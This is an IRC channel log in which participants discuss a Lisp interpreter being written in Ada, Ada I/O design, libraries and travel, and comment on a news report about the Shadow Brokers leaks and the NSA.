a111: Logged on 2017-11-12 21:21 mircea_popescu: http://btcbase.org/log/2017-11-12#1736734 << not of uranium. ru dun have any, in the 50s stole froim romania, then got some via jews, nowadays...
asciilifeform: ( who mines u today ? and, gotta wonder, how -- i can't picture it outside of butugychag-style 'fat-powered' op )
asciilifeform: http://btcbase.org/log/2017-11-12#1736763 << at one time asciilifeform also naively thought 'u of md keeps 1mil b00ks for me!11' -- even paid a subscription fee. which then went up, and max b00k loan time went from 6mo to 3mo to 1mo... and went up again.. and the most recent insult, they abolished 80% of the contents of the library floor asciilifeform frequented ☝︎
a111: Logged on 2017-11-12 20:28 mircea_popescu: irl i held ~10k tomes at home + 1.5mn or so held by the univ library for me
asciilifeform: ( where they went ? unknown, prolly burned )
asciilifeform: made room for 'admin offices'
asciilifeform: ohai spyked
asciilifeform: wb
spyked: hi! sorry for the radio silence. I've been working myself out of various irl swamps lately (still in progress). following in read-only mode though. ☟︎
spyked missed quite a lot while in read-only mode. glad to hear you enjoyed bucharest, asciilifeform. unexpected also. fortunately you didn't see it on weekdays.
asciilifeform: i did see it on weekday lol
asciilifeform: enjoyed timis far moar ftr.
asciilifeform: ( where, e.g., sidewalks can be walked on, rather than used as ad hoc orc parking lot )
spyked: I was firmly convinced your verdict would be "~shithole" (at least mircea_popescu's was some years ago).
asciilifeform: bucharest ?
spyked: yes
asciilifeform: it's still a notch or two ahead of, e.g., chicago
asciilifeform: and for that matter most of usa
asciilifeform: at least written in terms of 'bang per buck'
asciilifeform: and the parts of usa that it ~isn't~ two notches ahead of, asciilifeform will never live in
asciilifeform: so it's still a winner.
spyked: in other news, I've been using most of my spare cycles lisping in ada. should be able to wrap up a blog post sharing a very minimal prototype (sane implem. of repl doing nothing but basic ops) in a few weeks. what I've got now adheres to most of ffa constraints. the current version isn't very clean, but getting there... ☟︎
asciilifeform: spyked: nifty
asciilifeform: tinyscheme-like item as discussed here ?
spyked: yes. hopefully more than that in the long term (item to be manually translated to e.g. fpga implementation)
asciilifeform: sounds like fun
asciilifeform: http://btcbase.org/log/2017-11-12#1736759 << linked item is unpleasantly reminiscent of the 'artificially smoked' sprats that flooded the market in the early 2000s ☝︎
a111: Logged on 2017-11-12 20:22 pete_dushenski: and in other shortcuts, https://phys.org/news/2017-11-year-malt-whisky-weeks-chemistry.html
asciilifeform: spyked: my original notion was, sane ecosystem is direly short of a simple scripting lang
asciilifeform: ( i'd quite like to perma-anathemize python,perl,all the multi-GB-pots-of-liquishit )
asciilifeform: and get something in which one might write things like http://www.loper-os.org/?p=1762
asciilifeform: but that ~itself~ weighs very little
asciilifeform: and is 'correct-by-obviousness'
spyked: I'm also keeping the idea of potentially embedding in other ada projects (e.g. adacoin?) in mind. but so far wrestling the ffa aspects were enough of a challenge. oh, and there's no gc yet, the thing leaks memory like hell. but that's not its biggest problem.
spyked: at least once it goes out of memory it will scream, unlike tinyscheme buffer overflows.
asciilifeform: i'm not fully convinced that a scripting lang ~needs~ a gc ☟︎☟︎
asciilifeform: ( if your script runs for long enough that it needs gc -- maybe it oughta instead be an actual proggy ? ) ☟︎
spyked: ^ and if it does, should be easy to plug it in.
asciilifeform: on sane iron, gc really oughta be part of the iron. but that's whole other thread.
asciilifeform: spyked: consider posting your draft ( as asciilifeform posts his drafts occasionally )
asciilifeform: i'd much like to try it
spyked: right now the thing does a whole lot of consing (e.g. even when parsing), to avoid using ada run-time. but yeah, not posted, I'm talking about ~non-existing item.
asciilifeform: spyked: ideally you tell it on commandlinearg how much memory the script shot gets. and if it tries to cons 1 time too many, that's a eggog
asciilifeform: ( this is how 'p' works, as you will see in near future )
asciilifeform: spyked: it's ok to post it 1 routine at a time ( as i do with ffa )
spyked: asciilifeform, I considered doing that, but it's big enough (spread across 3-4 compilation units) that I'll need to wrap in blog post and do some preliminary documentation work
asciilifeform: fair'nuff
spyked: single routine is probably boring (I expect asciilifeform knows better than me how S-expr parsing works)
spyked: though there's devil hiding in those details
asciilifeform: parsing sanely (i.e. with meaningful eggog-recoveries) is tricky business
spyked: e.g. ada I/O is not especially suited for this task, because it reads either characters or full lines; and reading characters doesn't eat newlines, so gotta rely on shell buffering for sane interaction.
asciilifeform: your proggy should never try to eat or shit more than 1 char at a shot
asciilifeform: i.e. it should be compatible with 'no os' ( bare iron ) microcontroller and such
asciilifeform: ideally.
asciilifeform: a newline is just another octet.
spyked: on Get(Char), ada (at least gnat) seems to consume everything but linefeeds (even control characters such as EOT)
asciilifeform: the less use is made of ada standard libs, the moar likely the thing is to survive transition to whatever ada-with-maximal-dross-jettisonned that we eventually end up with.
spyked will keep this in mind
asciilifeform: spyked: i'ma post 'p' i/o routines, 1s
asciilifeform: from current draft :
asciilifeform: os.ads : http://wotpaste.cascadianhacker.com/pastes/SRKeb/?raw=true
asciilifeform: os.adb : http://wotpaste.cascadianhacker.com/pastes/C7D2r/?raw=true
asciilifeform: and yes we import the c char routines. but these can be replaced on bare iron with reads/writes of uart, trivially. or anything else we want.
spyked: asciilifeform, ty! I will study and put to use.
asciilifeform: the posted unit is the entirety of the machine-dependent part of 'p'.
asciilifeform: and for that matter of the ada std lib - using part ( once the debuggery put_line's in ffa are done away with )
spyked figures out he has a lot of work to do. but this -- after current code receives proper drilling from other interested people.
asciilifeform: meanwhile, in other volkischer beobachter lulz, https://archive.is/NS8Mr >> 'Mr. Williams had written on his company blog about the Shadow Brokers... Now the group had replied in an angry screed on Twitter. It identified him — correctly — as a former member of the National Security Agency’s hacking group, Tailored Access Operations, or T.A.O., a job he had not publicly disclosed. Then the Shadow Brokers astonished him by droppi
asciilifeform: ng technical details that made clear they knew about highly classified hacking operations that he had conducted'
mircea_popescu: o hay there
mircea_popescu: asciilifeform u is perfect fit for roboticized mining. very little by-hand mining done anymore anyway, but uranium mining led teh trade
mircea_popescu: re library, time was 2week for general fund, and 1week for some specialized, and 1 day for particular stuff ; going down from there, was stuff you could only have 1hr at a time and waiting list >1month long.
asciilifeform: 'N.S.A. employees have been subjected to polygraphs and suspended from their jobs in a hunt for turncoats allied with the Shadow Brokers. Much of the agency’s cyberarsenal is still being replaced, curtailing operations' << gold
mircea_popescu: all sorts of collections at bbu, incl 1600s printed matter.
mircea_popescu: aww
asciilifeform: get'em, get'em wreckerz!11!
mircea_popescu: hey. this situatuion where usg is more transparent than fresh piss is not tenable. either it abolishes itself or fixes it
mircea_popescu: but as things are now it's nothing short of ridiculous.
asciilifeform: hey, while brick has wings
mats: p transparent after OPM leak...
mircea_popescu: a how's tricks mats
mats: snore
mircea_popescu: aww
mircea_popescu: does an ada lisp ~even exist~ as far as anyone knows ? ☟︎
asciilifeform: mircea_popescu: spyked seems to have answered asciilifeform's thrown gauntlet and writing one
asciilifeform: outside of this -- none published
mircea_popescu: this could turn out into a pretty big deal.
asciilifeform: ( though the bolix shipped with the opposite, an adatron in zetalisp )
mircea_popescu: http://btcbase.org/log/2017-11-12#1736845 << this actually might be the perfect definition of the terms. "a program that doesn't need garbage collection is called a script ; a script that needs garbage collection is called a program". ☝︎
a111: Logged on 2017-11-12 23:13 asciilifeform: ( if your script runs for long enough that it needs gc -- maybe it oughta instead be an actual proggy ? )
asciilifeform: nao for the money shot from the lul, 'But he says no one from the N.S.A. has contacted him about being singled out publicly by the Shadow Brokers. “That feels like a betrayal,” he said. “I was targeted by the Shadow Brokers because of that work. I do not feel the government has my back.”'
mircea_popescu: simple and sweet and i actually can't see what possible protestations are available.
spyked: ohai mircea_popescu!
mircea_popescu: spyked how far advanced is this thing ?
mats: rebuilding massive intel apparatus after OPM-sized breaks is an unenviable task
asciilifeform: 'Some T.A.O. employees have been asked to turn over their passports, take time off their jobs and submit to questioning'
mats: what can you even do? fire every remotely interesting guy and bus in tufts/harvard grads?
spyked: mircea_popescu, so far, basic disconnected pieces: lispm cell representation, parser, evaler, implementation of +.
mircea_popescu: mats much better task than trying to "reform" mediocre intel.
mircea_popescu: here you just shoot everyone.
spyked: need to connect them together and publish
mircea_popescu: spyked pretty exciting.
asciilifeform: mats: as it is, the ~marketable half of the iq bell curve, already resigned and went into 'contracts'
mircea_popescu: mats there's no such thing as "fire" in this line. you, literally, shoot them. all.
spyked: (and by publish I mean "item that is in sore need of a review")
mats: mircea_popescu: not in america they don't.
mircea_popescu: then not in america they don't have intel.
asciilifeform: ^
mircea_popescu: problem solved. /me submits his bill and goes back to yachting.
asciilifeform: lolhey mircea_popescu back to sea again ??
mircea_popescu: asciilifeform on and off. i nearly got sun poisoning coupla days ago!
mircea_popescu: the weather is so fucking perfect and the sun so pleasant you just dun realise it. slowroast, no burn but TOO MUCH D VITAMIN OMG
asciilifeform: oh hah yer in range of usa's deozonation or whatever cone again aintcha.
mircea_popescu: notrly, i dun think
asciilifeform recalls c3 and ~week spent in the sun, and 0 burn ☟︎
asciilifeform: over here i get 20min and then begin to cook, even carry a dosimeter thing
mircea_popescu: im not burned at all either.
mircea_popescu: maybe this isn't how you call this in english.
mats speculates next five-year plan includes thiel-ization of intel apparatus - booz allens and stratfors
mircea_popescu: there's this condition, entirely metabolic, not dermatologic, resulting from overexposure (as in 6 hours) to sun.
asciilifeform: '“Snowden killed morale,” another T.A.O. analyst said. “But at least we knew who he was. Now you have a situation where the agency is questioning people who have been 100 percent mission-oriented, telling them they’re liars.”'
mircea_popescu: mostly D vitamin overload (nausea, lack of appetite, that sorta thing)
spyked: ah! mircea_popescu (and possibly other folks interested in ro-en translations)! almost forgot: http://p.bvulpes.com/pastes/86l91/?raw=true <-- to drill. need to make 1-2 passes through it before sending to silviu gherman d00d. (been also watching his stuff, guy has grown on me!)
asciilifeform: mircea_popescu: interesting, i had nfi this was a thing
asciilifeform: possibly because i'd turn black long before changing vitamind overload
mircea_popescu: it is. you get it in like, greek islands. sun too nice to burn but you do too much of it as a non-local
mircea_popescu: asciilifeform not just d vitamin, either. but basically what happens is sun-driven metabolism overwhelms liver, products build up. solution is "not be such a noob", stuff fixes itself but after some practicve.
asciilifeform: i have not yet had the pleasure of this disease. just as i have not yet suffered what the chukchas get from walrus-only diet in lean months etc
mircea_popescu: spyked not bad. last line english ?>
mircea_popescu: mats i'd rather bet next 5 years includes giving up on intel as given up on army, rely on foreign intel orgs.
mircea_popescu: moved industry to china, moved army to afghanistanis, pakistanis, whoever else could be arsed, move intel to israel next and so on.
asciilifeform: mircea_popescu: usg long ago gave up on intel in the traditional sense . e.g. nsa 'restaurant menu' consists ~100% of vulns they themselves created.
asciilifeform: ditto signals gathering
mircea_popescu: they indianselves created.
mircea_popescu: spyked do you have an agreement in principle with the guy or anything though ?